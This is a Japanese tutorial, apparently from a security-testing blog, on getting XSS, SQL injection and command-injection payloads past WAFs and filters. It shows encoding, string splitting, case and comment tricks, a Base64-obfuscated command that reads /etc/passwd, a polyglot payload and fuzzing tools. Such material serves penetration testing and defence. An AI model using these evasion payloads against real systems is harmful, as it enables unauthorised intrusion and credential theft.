Hello there, ('ω')ノ
1. エンコーディングと難読化（Encoding & Obfuscation）
Webアプリが「明らかに怪しい入力」をブロックしていることがあります。そこで、少し“見た目を変える”ことで通してしまおう、という考え方です。
1.1 URLエンコード
例えば、次のようなスクリプト攻撃があったとします：
<script>alert(1)</script>
このままだと WAF に引っかかる可能性があります。そこで URLエンコードを使って：
%3Cscript%3Ealert(1)%3C/script%3E
とすると、「 < や > が %3C, %3E に変わる」ため、フィルターが“この文字列は怪しい”と判断しづらくなります。
1.2 Base64 エンコード
さらに高度にするなら、こうです：
- 元：
<script>alert(1)</script> - Base64：
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==アプリ側が「Base64をデコードして内部で実行される」ような設計なら、これを突くことができます。
1.3 Unicode／16進数エンコード
例えば文字を Unicode 表現にしたり、HTMLの16進数エンティティにしたり：
- Unicode：
\u003Cscript\u003Ealert(1)\u003C/script\u003E - HTML 16進数：
<script>alert(1)</script>
こうした変形を使うことで、フィルターを“これは怪しいとは思わない”という状態にすることがあります。
2. 文字列の分割・連結トリック（String Concatenation Tricks）
フィルターが特定の“攻撃パターン”をブロックしていても、文字列を分割して見た目を変えれば通ることがあります。
2.1 XSS（クロスサイトスクリプティング）での例
通常：
<script>alert(1)</script>
ですが、次のように分割してみる：
<ScrIpt>al"+"ert(1)</ScRipT>
あるいは
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
といった形。見た目は変わりますが、実際には“alert(1)”を実行します。
2.2 SQLインジェクションでの例
通常：
' OR 1=1 --
ですが、次のように変える：
' OR 1=CHAR(49) --
あるいは
' OR 1=CONCAT(0x31) --
“1”を別の形で表現しています。フィルターが“’ OR 1=1”という典型文字列をブロックしていても、こういう変形なら気づかれないことがあります。
3. インラインコメント・大文字・小文字の変化（Inline Comments & Case Variation）
フィルターが単純に「特定キーワード（例えば SELECT/ … /）や「script」という文字列」を検出している場合、それらを少しだけ変えることで通ることがあります。
3.1 SQLインジェクションでのコメント挿入
普通の文：
SELECT * FROM users WHERE username='admin' --'
を、例えば：
SELECT/*test*/ * FROM users WHERE username='admin' --'
のように“/test/”というコメントを入れて見た目を変える。
3.2 XSSでの大文字／小文字混在
普通：
<script>alert(1)</script>
を：
<ScRiPt>alert(1)</ScRiPt>
のようにする。ブラウザは大文字小文字を区別しない（HTMLタグの場合）ため実行されますが、フィルターが“＜script>”という文字列をそのまま検出していたら通る可能性があります。
4. 特殊文字・文字列改変（Special Character Injection）
フィルターが“キーワード”を削除していても、改行や変数展開、文字コードを入れることで回避できる場合があります。
4.1 SQLインジェクションでの改行利用
通常：
' UNION SELECT username, password FROM users --
を、改行を入れて：
' UNION SELECT username, password FROM users --
フィルターが“UNION SELECT”を一続きとして検出していたら、改行によって検出を逃れる可能性があります。
4.2 コマンドインジェクションでの変数展開
通常：
cat /etc/passwd
を：
$(echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d)
のように、Base64でエンコードされた文字列をデコードして実行、という形にすると“cat /etc/passwd”がそのまま含まれず、フィルターをかいくぐる可能性があります。
5. ポリグロットペイロード（Polyglot Payloads）
「複数の攻撃手法をひとつにまとめたペイロード」を“ポリグロット”と呼びます。つまり、一見してどの脆弱性に使われるか判断しにくいけれど、XSSでもSQLiでも動く可能性があるものです。
例：
"><script>alert(1)</script>' OR 1=1 --
これは HTML タグ＋スクリプト（XSS）＋ SQL インジェクション（’ OR 1=1）を併せ持つ形です。ひとつの箇所で複数の脆弱性候補を試せるわけです。
6. ペイロード自動化ツール（Payload Automation Tools）
自分でひとつひとつペイロードを手作りするのも良いですが、効率を上げるためにツールを使うこともおすすめです。例えば：
- Burp Suite の Intruder 機能（自動的にペイロードを大量投入）
- sqlmap（SQLインジェクション用の自動化ツール）
- ffuf（Webアプリのファジングツール）
- ペイロードの巨大リポジトリ：PayloadsAllTheThings（あらゆる攻撃用ペイロードを集めた GitHub リポジトリ）
これらを活用して、「自分で思いつかない変形」も試せるようになります。
おわりに
ペイロード生成は「ただの技術」ではなく、“クリエイティブな工夫”がとても大事です。 同じ脆弱性を狙っても、どれだけフィルターをうまくすり抜けるかが、成果を出す鍵になります。 今回紹介した「エンコード／文字列分割／ケース変更／特殊文字／ポリグロット／自動化ツール」などのテクニックを覚えて、どんどん練習してみてください。最初は量をこなすことが上達への近道です。
Best regards, (^^ゞ
